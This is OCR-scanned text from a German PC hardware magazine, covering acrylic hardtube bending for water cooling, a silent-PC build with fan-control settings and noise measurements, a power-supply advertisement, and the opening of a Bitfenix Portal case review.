nach dem optimalen Arbeitsfenster 
über der Heizpistole. Herausfor- 
dernd ist dabei das richtige Aufwär- 
men des Rohres, um ein einheitli- 
ches Umformen zu gewährleisten. 
Blasenwurf im Werkstoff begrenzt 
den Temperaturbereich aber 


schnell und unerwartet nach oben 


эш ua u | | 


hin. Zusätzliche Zeitfresser, an die 
Sie beim einfachen Verschlauchen 
keine Gedanken verlieren müssen, 
sind das präzise Ausmessen mit- 
tels Messschieber oder Lineal und 
das entsprechende Umsetzen von 
Hilfsaufbauten zum Biegen. Hier 
darf der Anwender sich von Fehl- 
biegungen nicht entmutigen lassen 
und muss Geduld für die aufwendi- 
gere Verarbeitung mitbringen. 


n 
Alle Enden des Alphacool Eisrohres 
haben wir gewissenhaft entgratet 
und fest in den Eiszapfen-Anschlüs- 
sen festgezogen. Unser Kreislauf ist 
entsprechend auf Anhieb komplett 
dicht. Leichte Bewegungen an den 
Rohren rufen nicht gleich Leckagen 
hervor, was das Vertrauen zu dem 
Fixierkonzept bekräftigt. Wir emp- 
fehlen dennoch einen ausgiebigen 
Probelauf über mehrere Stunden, 
bevor die Hardware mit Strom ver- 
sorgt wird. Zusätzlich sollte nach 
einem Transport generell eine 
optische Kontrolle des Kreislaufs 
durchgeführt werden. Obwohl die 
starren Verbindungen dabei direkt 
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Die Hardtubes zeigen hervorragende Transparenz. Gute Schläuche, etwa von Master- 
kleer (2. v. 1.), schaffen das zwar auch, sind aber nie perfekt gerade. 


an unserer Aquastream-Pumpe (be- 
trieben bei 59 Hertz) ansetzen, ha- 
ben wir mit Schwingungsübertra- 
gung übrigens keinerlei Probleme. 
Ein Tipp am Ende: Sollten durch 
die Bearbeitung oder Montage 
einmal stórende Kratzer in die Ac- 
rylrohre gekommen sein, lässt sich 
der Kunststoff mit etwas Polierpas- 
te oftmals reparieren, ohne gleich 
aufwendig ein neues Rohr anzu- 
fertigen. 
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Etwas für Bastelwillige 

Der ausgefallene optische Eindruck 
macht den immensen Aufwand und 
zahlreiche Fehlversuche emotional 
wieder wett. Die hohen Kosten, ins- 
besondere auch für das umfangreiche 
Werkzeug, sind jedoch nicht zu unter- 
schätzen. Wer es zudem eilig hat, den 
PC wieder in Betrieb zu nehmen, greift 
lieber zu herkömmlichem Schlauch. 


A 
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Impressionen unseres Musterkreislaufs 


Spülmittelreste dienen als Trennmittel zum leichten Entfernen des Kerns. Mit dem Heißluftgebläse auf höchster Für eine 90-Grad-Biegung zeichnen wir rechtwinklige 
Stufe erwármen wird das Rohr in 5 bis 10 cm Abstand und unter stándigem Rotieren/Bewegen, bis es erweicht. Linien auf Papier vor. Das Biegen gelingt dann prázise. 


Für einen lateralen Versatz nutzen wir weitere Hilfsmittel i ` ... ein loses drittes Exemplar dient uns geführt 
aus dem Baumarkt: Auf einer Holzplatte befestigen wir mit am mittleren als parallele Biegelehre. Linien 


Schnellbau-Schrauben zwei Holzbrettchen ... 1° auf Papier geben abermals das Maß vor. 


Für einen Doppel- 
winkel wird der Auf- 
bau umfangreicher. 
Für einen sauberen 
Radius greifen wir 
auf die Alphacool- 
Biegelehre zurück. 


Das so vorgebogene 
Rohr bringen wir 
über drei mit der 
Bodenplatte ver- 
schraubte Holzklötze 
in Position ... 


... und schieben dann 
die Biegelehre heran. 
Ein viertes Stück Holz 
dient als Führung. 


Der zweite 90-Grad- 
Winkel wird ganz 
normal gebogen. Für 
das rasche Einlegen 
und Ausrichten sind 
zwei helfende Hände 
sehr nützlich. 
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KZ E 
Beim Ablängen setzen wir eine Gehrungslehre ein, die rechtwinklige Schnitte sicher- So müssen wir die Rohre abschließend nur noch mit Schleifpapier (400er-Körnung) 
stellt und so Nacharbeiten einspart. abziehen und an den Rändern (innen und außen) entgraten. 


ER 6 1 ¿a <> e 
H z 1 
Va “| — j b E 4 + p. = 
Die Anschlüsse müssen vor дет Меггоһгеп innenliegend mittels Sechskant-Schlüssel Bedenken Sie auch die Wartung des Kreislaufs — ein definierter Ablauf (etwa wie hier 
festgezogen werden. Nachträglich ist der Arbeitsschritt nicht mehr möglich. über einen Kugelhahn) ist zu empfehlen. 


Blasenwurf entsteht rasch und unvermittelt bei Überhitzen 
des Rohres (Vorsicht: Die für das Biegen nötige Mindesttem- 
peratur und zu hohe Temperaturen/Blasenwurf liegen sehr 
nah beisammen - planen Sie ausreichend Übungsmaterial 
und Ausschuss ein!). 


Ungleichmäßiges Erwärmen führt zu lokalem Auf- ^ E. 

dicken des Rohres (links). Ein zu kleiner Kerndurch- : ар Nie ohne Kern biegen, 
messer schnürt die gesamte Biegung ein (rechts: sonst kollabiert der 
Monsoon-Kern mit Alphacool-Rohr). Rohrquerschnitt. 
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Stille wie im Weltraum? 


Ein leistungsfähiger PC, den man weder im Leerlauf noch unter Volllast wahrnimmt - unser Ziel beim 


Silent-PC-Projekt, das wir in Ausgabe 01/2017 erstmals vorgestellt haben. Nun folgt die Auflösung. 


\Ҳ Тепп sich im Science-Fiction- 
Film ein großes Raumschiff 
mit einem brummenden Antrieb 


an der vorbeischiebt, 
dann macht das zwar Eindruck, 


Kamera 


ist aber mehr „Fiction“ als „Sci- 
ence“. Tatsächlich ist das Weltall 
ein traumhaft ruhiger Ort, denn 
Schall benötigt ein Trägermedium, 
also Materie. Diese ist zwischen 
den Himmelskörpern so dünn ver- 
teilt, dass ein Mensch keinen Schall 
wahrnehmen würde. Anders sieht 
es auf der Erde aus, denn die uns 
alle umgebenden, dicht gepackten 
Luftmoleküle in der Atmosphäre 
sind ein effizientes Trägermedium. 
Wer die Stille liebt, sollte daher 
seinen PC so konzipieren, dass er 
möglichst wenig Luftschall er- 
zeugt. Wir haben versucht, genau 
das beim Silent-PC umzusetzen. 
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Leise dank Wasserkühlung 
Die lauteste Komponente in Spiele- 
PCs ist meistens die Grafikkarte, 
denn sie erzeugt nicht nur viel 
Abwàrme, sondern muss auch mit 
relativ kompakten Kühllösungen 
auskommen, damit sie nicht alle an- 
deren PCI-(Express-)Slots überragt. 
Daher stand beim Silent-PC-Projekt 
schnell fest, dass wir eine Wasser- 
kühlung verwenden. 


Alphacool stellte uns hierfür die 
Produkte Eisbaer Solo für den Pro- 
zessor und Eiswolf GPX Pro GTX 
1070 M02 für die Grafikkarte zur 
Verfügung. Beide Kühlblöcke ver- 
fügen über eine integrierte Pumpe. 
Dazu nutzen wir das Platzangebot 
im Fractal Design Define S mit dem 
Triple-Radiator Nexxxos ST30 420 
mm im Deckel und dem in einer 


Marktübersicht bereits als Testsie- 
ger hervorgegangenen Dual-Radia- 
tor Nexxxos ST30 X-Flow 280 mm 
an der Vorderseite aus. Beide Wär- 
metauscher bieten eine vergleichs- 
weise hohe Leistung bei einem 
geringen Luftdurchsatz. Zur Belüf- 
tung greifen wir ausschließlich auf 
Noiseblocker NB-Eloop B14-1 von 
Blacknoise zurück, die für 600 U/ 
min und eine Startspannung von 5 
Volt spezifiziert sind: Zwei Ventila- 
toren an der Vorderseite und einer 
am Heck ziehen kühle Luft außer- 
halb des Gehäuses an, drei Eloops 
an der Oberseite blasen die Abwär- 
me nach oben hinaus. 


Pumpenlautstärke senken 

Nach dem Aufbau des PCs und den 
ersten Funktionstests versuchen 
wir herauszufinden, welche Kom- 


ponenten die größte Geräuschku- 
lisse erzeugen. Ungeregelt müsste 
dafür nicht einmal das Seitenteil 
abgenommen und mit dem Ohr in 
den PC hineingelauscht werden, 
denn die beiden Pumpen geben ein 
deutlich wahrnehmbares Surren 
von sich. Die Eisbaer Solo erzeugt 
zwar ein etwas hochfrequenteres 
Geräusch als die Eiswolf-Pumpe, 
wechselndes An- und Abschalten 
zeigt allerdings, dass die Eisbaer 
Solo insgesamt die etwas leisere 
Lösung ist. Daher deaktivieren wir 
die in den GPU-Kühler integrierte 
Pumpe und beschäftigen uns mit 
der Optimierung der Eisbaer Solo. 


Uns fällt auf, dass das verbaute Ex- 
emplar etwas lauter ist als das letz- 
tes Jahr getestete Exemplar. Der 
Grund: Bei gleicher Spannung läuft 
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Wir nutzen die umfangreichen Regelungsmöglichkeiten des Maximus VIII Ranger 
im Untermenü Monitor/Q-Fan Configuration/Chassis Fan(s) Configuration. 
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‚(сз 


16234 M 


С Hardware Monitor 


Vor mmm W wmmru Ü WW HI 


Komponente 


Eisbaer Solo 


NB-Eloop B14-1 (Front und Heck) 


Eiswolf GPX Pro GTX 1070 M2 


NB-Eloop B14-1 (Deckel) 


Konfiguration im UEFI-Menü 


BIOS-Profil PCGH Leise 


PCGH Superleise PCGH Leise 


PCGH Superleise 


PCGH Leise 


PCGH Superleise 


PCGH Leise 


PCGH Superleise 


Q-Fan Control DC Mode 


DC Mode DC Mode 


DC Mode 


DC Mode 


DC Mode 


DC Mode 


DC Mode 


Q-Fan Source T_Sensor 1* 


T_Sensor 1* T_Sensor 1* 


T_Sensor 1* CPU 


CPU 


T_Sensor 1* 


T_Sensor 1* 


Step Up 51 Sek. 


51 Sek. 51 Sek. 


51 Sek. 


0 Sek. 


0 Sek. 


51 Sek. 


51 Sek. 


Step Down 51 Sek. 


51 Sek. 51 Sek. 


51 Sek. 


51 Sek. 


51 Sek. 


51 Sek. 


51 Sek. 


Speed Low Limit 600 RPM 


600 RPM 200 RPM 


Ignored 


Ignored 


Ignored 


Ignored 


Ignored 


Upper Temperature 55 °С 


60 °C 


45°C 50 °C 


75 °С** 


75 *C** 


46 °C 


Si AT 


Max. Duty Cycle 100 % 


100 % 100 % 


100 % 60 96 


60 96 


100 96 


100 96 


Middle Temperature 50 °С 


35 G 40 *C 


45*C 


75 °С** 


75 *C** 


41°С 


46°С 


Middle Ошу Cycle * ** 60 96 


60 96 60 96 60 96 60 96 


60 96 


60 % 


60 96 


Lower Temperature 45°С 


50 °C 33°C 


40°C 


75 °С** 


75 *C** 


36 °C 


41°C 


Min. Duty Cycle 56 % 


40 96 45% 35% 56% 


40% 


45% 


35% 


Allow Fan Stop Disabled 


Disabled Disabled 


Disabled 


Enabled 


Enabled 


Enabled 


Enabled 


Ergebnisse in der Praxi 


Leerlauf 2.100 U/min 


1.640 U/min 250 U/min 


180 U/min 


Inaktiv 


Inaktiv 


Inaktiv 


Inaktiv 


Prime95 2.150 U/min 


1.670 U/min 270 U/min 


220 U/min 


Inaktiv 


Inaktiv 


260 U/min 


200 U/min 


Unigine Superposition 2.140 U/min 


1.670 U/min 340 U/min 


310 U/min 


Inaktiv 


Inaktiv 


340 U/min 


300 U/min 


Prime95 + Superposition | 2.140 U/min 


1.670 U/min 380 U/min 


340 U/min 


Inaktiv 


Inaktiv 


360 U/min 


330 U/min 


* Temperatursensor von Phobya, der die Wassertemperatur misst 


** 75 °C ist die einstellbare Obergrenze 


*** 60 % ist die einstellbare Untergrenze 


das im Silent-PC verbaute Exemplar 
mit etwas höherer Drehzahl. Das 
ist zwar positiv für die Förderleis- 
tung, gefährdet aber unser Ziel von 
0,1 Sone. Die naheliegende Lösung 
ist ein Absenken der Spannung, 
doch hierbei gibt es Grenzen: Un- 
ser Modell läuft zwar zuverlässig 
bei knapp 3 Volt an (und ist bei 
unter 1.000 U/min vorbildlich lei- 
se), doch der Hersteller rät klar 
davon ab, die Spannung so stark 
abzusenken. Die Pumpe kann bei 
zu niedriger Spannung heißlaufen 
und einen Defekt erleiden. Die of- 
fizielle Untergrenze ist aus Sicher- 
heitsgründen hoch gewählt und 
liegt bei 7 Volt. Damit liegt die Um- 
drehungsgeschwindigkeit bei rund 
1.650 U/min. Die Pumpe erzeugt so 
aus 50 cm Entfernung zwar mehr 
als 0,1 Sone, doch wir vertrauen 
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darauf, dass die geschlossene Sei- 
tenwand die Lautheit ausreichend 
senken wird. 


Einen sehr guten, weil sehr lauf- 
ruhigen Eindruck erwecken die 
Ventilatoren. Man muss meistens 
seine Augen bemühen, um heraus- 
zufinden, ob gerade die Lüfter lau- 
fen, die es wegen ihrer effizienten 
Arbeitsweise bei einem geringen 
Luftstrom bereits zum Testsieger 
gebracht haben. Heraushören 
lässt sich (zumindest bei laufen- 
der Pumpe) nämlich nicht, ob die 
Eloop B14-1 stillstehen oder mit 
einer niedrigen Drehzahl laufen; 
Die Startspannung beträgt offiziell 
5 Volt, was eine Umdrehungsge- 
schwindigkeit von rund 250 U/min 
ergibt. Schön: Das hochwertige La- 


Zur Auslastung der Grafikkarte nutzen wir den neuen Benchmark Superposition von 
Unigine im Direct-X-11-Modus. Mit unserer Konfiguration erreichen wir bereits in 
1.280 x 720 laut GPU-Z einen TDP-Spitzenwert von maximal 101,9 Prozent. 
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Kühlleistung: Gute Werte für CPU und GPU 


ger erzeugt keine hörbaren Eigen- 
geräusche, mit dem bloßen Ohr ist 


Gemittelte Kerntemperatur (Maximalwert unter Last) 


Superleise: P95 + Superposition aa 60,3 
Superleise: Superposition EX 52,0 
Superleise: Ргіте95 [XU 
Superleise: Leerlauf aaa 25,5 
Prime95 + Superposition ШН 56,8 
Superposition Es 48,8 
Prime95 w 55,8 
Leerlauf [Cu 25,0 


GPU-Temperatur (Maximalwert unter Last) 


Superleise: P95 + Superposition == 50 
Superleise: Superposition EX 49 
Superleise: Prime95 pu 39 
Superleise: Leerlauf ua 31 
Prime95 + Superposition EX 45 
Superposition = 44 
Prime95 a 35 
Leerlauf EX 31 


Wassertemperatur (Maximalwert unter Last) 


Superleise: P95 + Superposition [XX 45 
Superleise: Superposition [XXX 44 
Superleise: Prime95 u 
Superleise: Leerlauf | 32 
Prime95 + Superposition == 
Superposition Ex 40 
Prime95 a 36 
Leerlauf EX 31 


Gemittelte RAM-Temperatur (Maximalwert unter Last) 


Superleise: P95 + Superposition [XXX 41,2 
Superleise: Superposition Eu 40,2 
Superleise: Prime95 ua 37,3 
Superleise: Leerlauf ua 34,9 
Prime95 + Superposition = 39,6 
Superposition Ex 39,0 
Prime95 mua 35,5 
Leerlauf 3.8 


lediglich aus wenigen Zentimetern 
Entfernung ein leichtes Säuseln 
der umgewälzten Luft wahrzu- 
nehmen. Aufgrund der niedrigen 
Drehzahl kommt es auch bei dem 
einsaugend montierten Ventilator 
am Heck nicht zu Verwirbelungs- 
geräuschen, die bei den Eloops 
entstehen kónnen, wenn sich ein 
Lüftergitter oder Radiator nahe vor 
der Lüfternabe befindet. An der 
Gehäusefront besteht die Gefahr 
ohnehin nicht, da wir mit Vorkam- 
mern aus Gummi für zusätzlichen 
Abstand sorgen. 


Störgeräusche bei 3D-Last 

Wie eingangs erwähnt, ist die Gra- 
fikkarte typischerweise die lauteste 
Komponente in einem Spiele-PC. 
Das trifft leider auch auf unseren 
Silent-PC zu, obwohl wir eine für 
den leisen Betrieb optimierte Was- 
serkühlung verwenden. Wir nutzen 
den neuen Unigine-Benchmark Su- 
perposition im Game-Modus, der 
die Grafikkarte stark fordert. Ob- 
wohl wir in 1.280 x 720 mit maxi- 
malen Details bei lediglich 50 Fps 
liegen, gibt die Strix GTX 1070 OC 
Störgeräusche von sich, die sich am 
ehesten als metallisches Rattern 
beschreiben lassen. In einem nor- 
malen PC würden diese aufgrund 
des Lüfterrauschens nicht auffallen, 
bei unserem Projekt ist das Spu- 
lenfiepen aber ein echtes Problem. 


System: Core i5-6600K, Asus Maximus VIII Ranger (UEFI 3401), Asus Strix GTX 1070 OC; 
Win 10 64 Bit, Geforce 381.65 WHQL Bemerkungen: Alle Messungen bei 23,5-24,4 °C 
Raumtemperatur — Temperaturwerte aufgrund der geringen Differenz nicht normiert. 


< Besser 


Grad Celsius 


Testweise senken wir die Spannung 
des Grafikchips, doch eine hórbare 


Übersicht: Die im Silent-PC verbaute Hardware 


Verbesserung stellt sich nicht ein. 


Komponente Produkt PCGH-Preisvergleich Preis 
Prozessor Core i5-6600K www.pcgh.de/preis/1290376 Ca. € 230,- 
CPU-Kühler, Pumpe u. Ausgleichsbehálter | Alphacool Eisbaer Solo www.pcgh.de/preis/1482622 Ca. € 50,- 
Mainboard Asus Maximus VIII Ranger www.pcgh.de/preis/1306336 Ca. € 180,- 
Arbeitsspeicher Crucial Ballistix Elite BLEACAGD32AEEA www.pcgh.de/preis/1464325 Ca. € 150,- 

(4 x 4 GiByte DDR4-3200) 
Grafikkarte Asus ROG Strix Geforce GTX 1070 OC www.pcgh.de/preis/1450613 Ca. € 490,- 
GPU-Kühler Alphacool Eiswolf GPX Pro GTX 1070 M02 www.pcgh.de/preis/1539175 Ca. € 120,- 
SSD Crucial MX300 750 GByte www.pcgh.de/preis/1435141 Ca. € 260,- 
Netzteil Enermax Digifanless 550 Watt www.pcgh.de/preis/1236229 Ca. € 200,- 
Geháuse Fractal Design Define S www.pcgh.de/preis/1259880 Ca. € 65,- 
Radiator 1 Alphacool Nexxxos ST30 420 mm www.pcgh.de/preis/1028230 Ca. € 90,- 
Radiator 2 Alphacool Nexxxos ST30 X-Flow 280 mm www.pcgh.de/preis/1497261 Ca. € 70,- 
Lüfter 6 x Blacknoise Noiseblocker NB-Eloop B14-1 www.pcgh.de/preis/1313823 Ca. € 150,- 
Weiteres Zubehór 40-cm-Verlángerung (4 Pin auf 3 x 4 Pin), 60-cm- | bezogen von Ca. € 120,- 

Y-Kabel (3 Pin), 11 Anschraubtüllen G1/4, Y-Ver- | www.aquatuning.de 

binder 45°, 2-Wege-Kugelhahn, 2 Lüftervorkam- 

mern 7 mm, 8 M3-Schrauben 40 mm, Schlauch 


Gesamtpreis Ca. 2.175,- 
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Die Regelung 

Die exakten Einstellungen im UEFI- 
Menü finden Sie auf der vorherigen 
Seite, daher hier nur einige Anmer- 
kungen: Wir regeln alle Lüfter und 
die Eisbaer Solo in Abhängigkeit 
von der Wassertemperatur und 
nutzen die Hysterese-Funktion: Erst 
knapp eine Minute, nachdem ein 
bestimmter Temperaturwert über- 
oder unterschritten wird, werden 
die Pumpe oder die Lüfter nach- 
geregelt - unnötige und potenziell 
störende Drehzahlschwankungen 
werden so minimiert. Zur Regelung 
nutzen wir ausschließlich die An- 
schlüsse für Gehäuselüfter, da nur 
bei diesen das Ausschalten der an- 
geschlossenen Komponenten mög- 
lich und die Wassertemperatur als 
Regelungsbasis auswählbar ist. Die 
Eiswolf-Pumpe konfigurieren wir 
als Backup: Sollte die Eisbaer Solo 
einmal ausfallen, springt sie ab ei- 
ner CPU-Kerntemperatur von 75 °C 
an. Die Lüfter am oberen Ventilator 
laufen erst unter Last an, die Eloops 
an der Vorder- und Rückseite arbei- 
ten durchgehend mit einer sehr 
niedrigen Drehzahl. So strömt ohne 
negative Auswirkung ein wenig 
Frischluft ins Gehäuse; die Pumpe 
übertönt die Lüfter ohnehin. 


Der Silent-Modus 

Dank der Dämmwirkung des 
Fractal-Design-Gehäuses reicht 
es sowohl im Leerlauf als auch im 
CPU-Stresstest knapp für 0,1 Sone, 
wenn wir die Lüfter mit 5 Volt und 
die Pumpe gemäß der Vorgabe mit 
7 Volt betreiben, was Minimalwer- 
ten von 56 beziehungsweise 35 
Prozent im UEFI-Menü entspricht. 
Bekommt die Grafikkarte zu tun, 
steigt die Lautheit leider auf 0,2 
Sone, das Spulenfiepen ist aus ei- 
nem halben Meter in sehr stiller 
Umgebung leicht zu hören. Für die 
Leistungsaufnahme haben wir fol- 
gende Werte gemessen: 


I Leerlauf: 37 Watt 

I Prime95 (8K FFTs): 121 Watt 

I Unigine Superposition: 214 Watt 
I P95 + Superposition: 245 Watt 


Der Super-Silent-Modus 

Im nächsten Schritt prüfen wir, was 
möglich ist, wenn wir die Möglich- 
keiten des Systems ausreizen. Dazu 
setzen wir uns über die Hersteller- 
vorgabe hinweg und reduzieren 
die Minimalspannung für die Eis- 
baer Solo auf 5,0 Volt (BIOS: 56 %). 
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Die Eloops müssen mit 4,4 Volt 
(BIOS: 35 %) auskommen. Da das 
Kühlsystem Reserven aufweist, ver- 
zögern wir außerdem das Hochre- 
geln der Lüfter und setzen die Ziel- 
temperaturen um 5 Kelvin höher 
an - mit Erfolg: Wir erzielen 17,0 
statt 17,7 db(A) im Leerlauf, 17,3 
statt 18,0 dB(A) im CPU-Stresstest 
und 18,5 statt 19,1 dB(A) bei Auslas- 
tung der Grafikkarte. Bei Volllast ist 
der Vorteil mit 19,0 gegenüber 21,5 
dB(A) am größten, trotzdem reicht 
es nicht ganz für 0,1 Sone. Die Leis- 
tungsaufnahme der stärker erhitz- 
ten Hardware ist leicht höher: 


I Leerlauf: 36 Watt 

I Prime95 (8K FFTs): 121 Watt 

I Unigine Superposition: 218 Watt 
I P95 + Superposition: 251 Watt 


Optimierungspotenzial 

Beim Silent-PC wollten wir aufzei- 
gen, wie sich handelsübliche und 
spieletaugliche Hardware flüsterlei- 
se betreiben lässt. Für den Dauerbe- 
trieb sind allerdings zwei Optimie- 
rungen denkbar: Zum einen könnte 
sowohl der Prozessor als auch der 


Grafikchip mit einer niedrigeren 
Spannung versorgt werden. Damit 
ließe sich die Abwärme verringern, 
was besonders den lediglich passiv 
gekühlten Spannungswandlern der 
Grafikkarte zugute kommen sollte. 
Eine Senkung der Lautstärke ist 
aufgrund des Spulenfiepens aber 
nicht realistisch. Zum anderen sind 
die Kühlreserven des Systems so 
hoch, dass bei Bedarf Overclocking 
möglich ist. Bei maßvollem Vorge- 
hen ließe sich in Kombination mit 


Undervolting die Effizienz des Sys- 
tems steigern, ohne die Lautstärke 


(sw/tv) 


zu erhöhen. 


Нагішаге 


Silent-PC 

Der Bau eines extrem leisen Rechners 
ist möglich, aber keine leichte Aufga- 
be. Bereits eine einzige Schwachstelle 
kann die Lautheit des gesamten PCs 
erhöhen. Unser System läuft ange- 
nehm kühl und mit 0,1 Sone nahezu 
unhörbar unter 2D-Last. Im 3D-Betrieb 
müssen wir uns aufgrund von Spulen- 
fiepen leider mit 0,2 Sone begnügen. 


Spulenfiepen erhöht Lautheit auf 0,2 Sone 


Lautheit aus 50 cm Entfernung 


Superleise: P95 + Superposition 0,2 
Superleise: Superposition 0,2 
Superleise: Prime95 0,1 
Superleise: Leerlauf 0,1 
Prime95 + Superposition 0,2 
Superposition 0,2 
Prime95 0,1 
Leerlauf 0,1 


System: Core i5-6600K, Asus Maximus VIII Ranger (UEFI 3401), Asus Strix GTX 1070 
OC; Win 10 64 Bit, Geforce 381.65 WHQL Bemerkungen: Wir erreichen die 0,1 Song, 
können sie im 3D-Betrieb wegen Spulenfiepens aber leider nicht halten 


Sone 
Besser 


Silent-PC abseits der Spezifikation noch leiser 


Schalldruck aus 50 cm Entfernung 


Superleise: P95 + Superposition 19,0 
Superleise: Superposition 18,5 
Superleise: Prime95 17,3 
Superleise: Leerlauf 17,0 
Prime95 + Superposition 21,5 
Superposition 19, 
Prime95 18,0 
Leerlauf 17,7 
System: Core i5-6600K, Asus Maximus VIII Ranger (UEFI 3401), Asus Strix GTX 1070 OC; dB(A) 
Win 10 64 Bit, Geforce 381.65 WHQL Bemerkungen: Mit aggressiver Optimierung lässt Besen 


sich der Schalldruck noch etwas senken, die Hardware wird so allerdings wärmer. 


—Z 


PURE POWER 10 


Die neue Generation der erfolgreichsten Netzteils 

Pure Power 10 bietet die bestmógliche Kombination von A 

und Qualität zu einem äußerst attraktiven Preis. Die neuen Modelle mit 
DC/DC-Technologie sorgen für eine starke Spannungsregulierung, sogar bei 
heftigen Cross-Loads. 


и Zwei starke 12V-Leitungen und Multi-GPU Unter ung 

= Active Clamp + SR Technologie für stabilen Betrieb (700-400W) 
2 AuBerordentlich leiser Betrieb 

и 80PLUS® Silber und Bronze Effizienz (von bis zu 91%) 

= Modular und non modular: 700 - 300W 


Weitere Informationen auf bequiet.com 


Erhältlich bei: alternate.de - 
computeruniverse.net · 


arlt.de - bora-computer.de - 
conrad.de - hiq24.de - e-tec.a 
mindfactory.de - notebooksbilliger.de - reichelt.de 


GERMANY'S NO. 1 


caseking.de | PSU MANUFACTURER 


- galaxus.ch 
*GfK Panelmarkt, 2007-2017 
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| INFRASTRUKTUR | Test Bitfenix Portal 


\ X Jer im Wohnzimmer am Fern- 
seher spielen móchte, benó- 


m =Ë m 
tigt dafür einen Konsole oder ei- 
H nen selbst zusammengeschraubten 
Ё Ё Mini-PC. Die Basis eines jeden Re- 
chenzwergs ist ein Gehäuse im Mi- 


PCGH prüft, wie gut sich Bitfenix' HTPC-Gehäuse mit Doppelrahmen-Konstruk- cro-ATX- oder Mini-ITX-Format. Das 


Bitfenix Portal, dessen Zielgruppe 
tion und invertierter Platinenhalterung als Basis für einen Spiele-Mini eignet. vor allem Nutzer eines HTPC sind, 
ist ein Vertreter dieser Klasse. Beim 
Portal legt Bitfenix nicht nur Wert 
auf ein besonders auffälliges De- 
sign. Mit einer Spezialausstattung 
wie der auf den Kopf gestellten 
Platinenhalterung, dem Doppel- 
rahmen-Design und dem Schubla- 
densystem will man außerdem die 


Voraussetzungen dafür schaffen, 
dass nicht nur HTPC-, sondern auch 
spieletaugliche Hardware im Inne- 
ren gut und leise gekühlt wird. Ge- 
lingt der Versuch? Ist das Bitfenix 
Portal wirklich ein gutes Eigenheim 
für Spieler-Hardware oder bietet es 
nur die Kühlqualitäten eines HTPC- 
Gehäuses? Unser Test klärt auf. 


u а 

Neben der auffàlligen Optik ist die 
Grundausstattung des Bitfenix Por- 
tal für ein Gehäuse mit Mini-ITX- 
Format angemessen. Zum Einbau 
von SSDs/HDDs steht ein Rahmen 
mit zwei 3,5/2,5-Zoll-Kombi-Ein- 
bauschächten bereit. Eine weitere 
SSD/2,5-Zoll-HDD kann an der de- 
montierbaren Halterung auf der 
Oberseite des Laufwerkskäfigs 
angeschraubt werden. Zum Liefer- 
umfang des Bitfenix Portal gehören 
zwei Lüfter: Das 120-mm-Modell, 
welches für eine verbesserte CPU- 
Kühlleistung gegen einen 120-mm- 
Radiator getauscht werden kann 
(siehe letzter Abschnitt), ist an der 


= 
1 


D уру ЧУТ 


Das Schubladensystem, mit dem die їппеге Kammer komplett aus ihrem Rahmen Am Heck des Design-Gehäuses ist пиг еіп Der 120-mm-Lüfter kann gegen den Radia- 
geholt werden kann, ist ein hilfreiches Alleinstellungsmerkmal des Bitfenix Shogun. verschiebbarer 80-mm-Lüfter montierbar. tor einer Kompakt-WaKü getauscht werden. 
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Front des inneren Rahmens befes- 
tigt. Ein vertikal verschiebbarer 
80-mm-Lüfter befindet sich an der 
Hinterseite des herausziehbaren 
Innenraums. Als Staubschutz die- 
nen in den Front- und Heckbereich 
eingelassene Wabengitterelemente 
und für die Grafikkarte steht eine 
spezielle Befestigung bereit. Die 
zwei USB-3.0- und Audio-Anschlüs- 
se sind mittig auf der rechten Sei- 
tenwand des äußeren Rahmens 
platziert. 


Zu den Extras, die das Bitfenix Por- 
tal zu bieten hat, gehört zuerst das 
aus zwei Rahmen bestehende Dual- 
Frame-Design. Dabei bildet der 
äußere Rahmen eine Art Kammer, 
in die der innere Rahmen mithilfe 
einer Führungsschiene heraus- und 
nach der Bestückung mit Hardware 
wieder hineingeschoben wird. Die- 
ses Feature ist sehr hilfreich beim 
Einbau von Hardware in den Innen- 
raum, dessen Volumen nur 29 Liter 
beträgt. Die zweite Sonderausstat- 
tung, eine um 180 Grad gedrehte 
Mainboard-Halterung sowie die 
Positionierung der GPU unterhalb 
des Plexiglasfensters im Deckel, 
sorgt dafür, dass sich deren Lüfter 
die Kühlluft nicht aus dem Innen- 
raum, sondern von der Aussparung 
auf der Hinterseite holt. 


Eigenschaften: Kompakt, 
aber einfach bestückbar 

Die Tatsache, dass Bitfenix beim 
Portal auf einen invertierten Main- 
board-Tray setzt, soll nicht nur die 
GPU-Belüftung verbessern. Die De- 
ckelkonstruktion mit „Schaufens- 
ter“ bietet auch Platz für Grafikkar- 
te mit bis zu 30 cm Länge. So passt 
auch die von uns für die alternati- 
ven Leistungstests genutzte EVGA 
GTX 1070 Superclocked noch dort 
hinein. Die Höhe des vertikal einge- 
bauten CPU-Lüfters darf jedoch die 
12,5-cm-Marke nicht überschrei- 
ten. Insgesamt kann man passen- 
de Hardware problemlos in das 
Bitfenix einbauen, wobei sich das 
Zweirahmen-Design mit der Mög- 
lichkeit, den äußeren und inneren 
Rahmen per Schubladentechnik 
voneinander trennen zu können, 
als sehr hilfreich erweist. 


Leise durchschnittliche Küh- 
lung für Gaming-Hardware 

Um zu messen, welche Temperatu- 
ren im Innenraum des Design-Minis 
entstehen und wie leise die Lüfter 
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spielertaugliche Hardware kühlen, 
bestücken wir die innere Kammer 
zuerst mit unserem regulären Test- 
system. Mit einem Core i7-6700K 
und einer GTX 1070 im ITX-Format 
nutzen wir dabei Komponenten, 
deren Leistung ein ungetrübtes 
Spielvergnügen garantiert. Wie un- 
sere Messwerte (siehe Testtabelle) 
zeigen, schafft es das primär als Ge- 
háuse für Multimediarechner kon- 
zipierte Bitfenix, diese Hardware 
ordentlich, wenn auch mit Abstri- 
chen zu kühlen. Vor allem die GPU 
wird mit 82 Grad so warm, dass sie 
die Lüfterdrehzahl auf 2.408 U/min 
erhóht und gleichzeitig den Takt 
leicht auf 1.709 MHz senkt. Bei der 
Geräuschentwicklung gibt es dage- 
gen Positives zu vermelden, denn 
die beiden Lüfter sind mit 1,7/1,8 
Sone erfreulich leise. 


Alternative Leistungstests 

mit WaKü und Standard-GPU 
Wer das Portal für einen Spiele-Mini 
nutzen will, dem empfiehlt Bitfenix 
den Einsatz einer Kompaktwasser- 
kühlung für die CPU. Wie unser 
Test mit EKLs Alpenfóhn-Wasser- 
Modell zeigt, sinkt die CPU-Tem- 
peratur dadurch auf 76° C. Das 
rechtfertigt den Einsatz der alter- 
nativen Kühlung. Zusätzlich zum 
WaKü-Einbau tauschen wir unsere 
nur mit einem einzigen Axiallüfter 
bestückte GTX 1070 ITX gegen die 
EVGA GTX 1070 Superclocked, ein 
Standardmodell mit zwei Axialpro- 
pellern. Die sorgen dafür, dass die 
Karte trotz einer Chip-Temperatur 
von 82? C nur die Lüfterdrehzahl 
auf 2.474 U/min anhebt, den Takt 
